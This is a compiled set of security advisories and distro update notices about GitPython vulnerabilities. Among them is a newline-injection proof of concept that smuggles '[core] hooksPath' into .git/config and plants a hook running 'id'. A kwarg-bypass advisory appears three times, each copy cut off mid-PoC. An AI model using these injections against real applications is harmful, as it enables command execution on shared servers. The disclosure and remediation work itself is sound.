CVE-2026-44244

GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.

The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration.

This was found while auditing MLRun's project.push() method, which passes author_name and author_email directly to config_writer().set_value() with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in .git/config.

PoC (standalone, no MLRun required):

import git, subprocess, os

repo = git.Repo("/tmp/testrepo")

with repo.config_writer() as cw:
    cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks")

r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True)
assert r.returncode == 0
print(r.stdout.strip())  # /tmp/hooks

os.makedirs("/tmp/hooks", exist_ok=True)
open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n")
os.chmod("/tmp/hooks/pre-commit", 0o755)

repo.index.add(["README"])
repo.git.commit(m="test")
print(open("/tmp/pwned").read())  # uid=...

Tested on GitPython 3.1.46, git 2.39+.

Impact: This is persistent repo config poisoning. Any user who can supply author_name or author_email to an application calling config_writer().set_value() can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the .git/config of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.

Remediation: set_value() should raise on CR, LF, or NUL in values rather than silently pass them through:

import re

if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)):
    raise ValueError("Git config values must not contain CR, LF, or NUL")

Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.

Affected wherever config_writer().set_value(section, key, user_input) is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their set_value() call sites for externally influenced inputs.

GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.

Security Fix(es):

Summary

GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.

Details

GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:

• git/repo/base.py:145-153 marks clone options such as --upload-pack, -u, --config, and -c as unsafe.
• git/remote.py:535-548 marks fetch/pull/push options such as --upload-pack, --receive-pack, and --exec as unsafe.

The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:

• Repo.clone_from() checks list(kwargs.keys()) in git/repo/base.py:1387-1390
• Remote.fetch() checks list(kwargs.keys()) in git/remote.py:1070-1071
• Remote.pull() checks list(kwargs.keys()) in git/remote.py:1124-1125
• Remote.push() checks list(kwargs.keys()) in git/remote.py:1197-1198

That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.

Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:

• upload_pack=... becomes --upload-pack=...
• receive_pack=... becomes --receive-pack=...

Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.

In practice:

• remote.fetch(**{"upload-pack": helper}) is blocked with UnsafeOptionError
• remote.fetch(upload_pack=helper) is allowed and reaches helper execution

The same bypass works for:

Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)

This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.

Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:

• test/test_clone.py:129-136 checks {"upload-pack": ...}
• test/test_remote.py:830-833 checks {"upload-pack": ...}
• test/test_remote.py:968-975 checks {"receive-pack": ...}

Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.

PoC

1. Create and activate a virtual environment in the repository root:

python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate

2. make a new python file and put the following in there, then run it:

import os
import stat
import subprocess
import tempfile

from git import Repo
from git.exc import UnsafeOptionError

# Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")

# Setup: this wrapper is just to demo things you can do, not required for…

GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.

Security Fix(es):

Summary

GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.

Details

GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:

• git/repo/base.py:145-153 marks clone options such as --upload-pack, -u, --config, and -c as unsafe.
• git/remote.py:535-548 marks fetch/pull/push options such as --upload-pack, --receive-pack, and --exec as unsafe.

The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:

• Repo.clone_from() checks list(kwargs.keys()) in git/repo/base.py:1387-1390
• Remote.fetch() checks list(kwargs.keys()) in git/remote.py:1070-1071
• Remote.pull() checks list(kwargs.keys()) in git/remote.py:1124-1125
• Remote.push() checks list(kwargs.keys()) in git/remote.py:1197-1198

That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.

Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:

• upload_pack=... becomes --upload-pack=...
• receive_pack=... becomes --receive-pack=...

Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.

In practice:

• remote.fetch(**{"upload-pack": helper}) is blocked with UnsafeOptionError
• remote.fetch(upload_pack=helper) is allowed and reaches helper execution

The same bypass works for:

Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)

This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.

Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:

• test/test_clone.py:129-136 checks {"upload-pack": ...}
• test/test_remote.py:830-833 checks {"upload-pack": ...}
• test/test_remote.py:968-975 checks {"receive-pack": ...}

Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.

PoC

1. Create and activate a virtual environment in the repository root:

python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate

2. make a new python file and put the following in there, then run it:

import os
import stat
import subprocess
import tempfile

from git import Repo
from git.exc import UnsafeOptionError

# Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")

# Setup: this wrapper is just to demo things you can do, not required for…

GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.

Security Fix(es):

Summary

GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.

Details

GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:

• git/repo/base.py:145-153 marks clone options such as --upload-pack, -u, --config, and -c as unsafe.
• git/remote.py:535-548 marks fetch/pull/push options such as --upload-pack, --receive-pack, and --exec as unsafe.

The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:

• Repo.clone_from() checks list(kwargs.keys()) in git/repo/base.py:1387-1390
• Remote.fetch() checks list(kwargs.keys()) in git/remote.py:1070-1071
• Remote.pull() checks list(kwargs.keys()) in git/remote.py:1124-1125
• Remote.push() checks list(kwargs.keys()) in git/remote.py:1197-1198

That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.

Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:

• upload_pack=... becomes --upload-pack=...
• receive_pack=... becomes --receive-pack=...

Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.

In practice:

• remote.fetch(**{"upload-pack": helper}) is blocked with UnsafeOptionError
• remote.fetch(upload_pack=helper) is allowed and reaches helper execution

The same bypass works for:

Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)

This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.

Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:

• test/test_clone.py:129-136 checks {"upload-pack": ...}
• test/test_remote.py:830-833 checks {"upload-pack": ...}
• test/test_remote.py:968-975 checks {"receive-pack": ...}

Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.

PoC

1. Create and activate a virtual environment in the repository root:

python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate

2. make a new python file and put the following in there, then run it:

import os
import stat
import subprocess
import tempfile

from git import Repo
from git.exc import UnsafeOptionError

# Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")

# Setup: this wrapper is just to demo things you can do, not required for…

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.

Root has patched CVE-2026-44244 in the GitPython package for Root:PyPI. Multiple fixed versions available.

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.

TuxCare rebuilt gitpython to address 1 CVE. Fixed in 3.1.31.post2+tuxcare.

These are all security issues fixed in the python311-GitPython-3.1.49-1.1 package on the GA media of openSUSE Tumbleweed.

This update for python-GitPython fixes the following issues

• CVE-2026-42215: command injection via Git options bypass (bsc#1264604).
• CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).
• CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository (bsc#1264606).
• CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).

This update for python-GitPython fixes the following issues

• CVE-2026-42215: command injection via Git options bypass (bsc#1264604).
• CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).
• CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository (bsc#1264606).
• CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).

This update for python-GitPython fixes the following issues:

• CVE-2026-42215: command injection via Git options bypass (bsc#1264604).
• CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).
• CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository (bsc#1264606).
• CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).
• CVE-2026-67322: vulnerable to environment-variable exfiltration in Repo.clone_from() (bsc#1273357).
• CVE-2026-67323: fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote() (bsc#1273358).
• CVE-2026-67325: contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature (bsc#1273359).
• CVE-2026-67326: fails to validate newline characters in the section parameter of config_writer() (bsc#1273364).
• CVE-2026-69097: fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names (bsc#1273414).
• CVE-2026-73619: incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add- virtual-file options can lead to arbitrary file reads (bsc#1275755).
• CVE-2026-73620: failure to guard git option forwarding in IndexFile.checkout() and TagReference.create() can lead to arbitrary file reads and writes (bsc#1275756).
• CVE-2026-73621: argument injection in the Commit.count() method allows for destruction/blanking of arbitrary files (bsc#1275757).
• CVE-2026-73622: failure to disable environment variable expansion in Remote.create() and Submodule.add() URL handling allows for secret exfiltration via URLs containing variable references (bsc#1275751).
• CVE-2026-73623: incomplete denylist in unsafe_git_clone_options that omits --template allows for arbitrary command execution (bsc#1275752).
• CVE-2026-73624: Diffable.diff method fails to validate git options passed through kwargs, which can lead to arbitrary file writes (bsc#1275753).
• CVE-2026-73625: check_unsafe_options guard bypass via smuggling of git options inside single-character kwarg values can lead to arbitrary code execution (bsc#1275754).
• CVE-2026-76217: failure to validate options passed to git rm and git checkout commands in IndexFile.remove() and Head.checkout() can lead to arbitrary file reads (bsc#1275745).
• CVE-2026-76218: unguarded git option forwarding in Repo.init allows for arbitrary command execution (bsc#1275746).
• CVE-2026-76219: unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree can lead to arbitrary file overwrites (bsc#1275747).
• CVE-2026-76220: check_unsafe_options guard can be bypassed by combining a single-character kwarg with split_single_char_options=False, which can lead to arbitrary OS command injection (bsc#1275748).
• CVE-2026-76221: config-name injection in the option-name validator can lead to remote code execution (bsc#1275749).
• CVE-2026-76222: failure to validate submodule names from .gitmodules files allows creation of Git repositories at arbitrary filesystem paths outside the intended clone directory (bsc#1275750).
• CVE-2026-78675: fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives (bsc#1276434).
• CVE-2026-78676: fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives (bsc#1276433).
• CVE-2026-78677: allowing creation of arbitrary git directories outside the intended clone destination (bsc#1276432).
• CVE-2026-78678: an incomplete denylist in the unsafe_git_revision_options guard that omits --contents…

Santos Gallegos discovered that GitPython did not properly validate paths when resolving certain Git references. An attacker could possibly use this issue to cause files outside the .git directory to be accessed, leading to a denial of service. This issue only affected Ubuntu 14.04 LTS, Ubuntu 16.04 LTS, Ubuntu 18.04 LTS, Ubuntu 20.04 LTS, and Ubuntu 22.04 LTS. (CVE-2023-41040)

Wes Ring discovered that GitPython did not properly block certain unsafe Git options when they were provided as Python keyword arguments. An attacker could possibly use this issue to cause arbitrary command execution. (CVE-2026-42215)

It was discovered that GitPython did not properly validate clone options before processing them. An attacker could possibly use this issue to inject unsafe Git configuration, leading to arbitrary command execution through Git hooks. This issue only affected Ubuntu 20.04 LTS, Ubuntu 22.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 26.04 LTS. (CVE-2026-42284)

It was discovered that GitPython did not properly validate reference paths during reference operations. An attacker could possibly use this issue to write, overwrite, move, or delete files outside the repository. (CVE-2026-44243)

Dan Aridor discovered that GitPython did not properly validate configuration values before writing them to Git configuration files. An attacker could possibly use this issue to inject unsafe Git configuration, leading to arbitrary command execution through Git hooks. (CVE-2026-44244)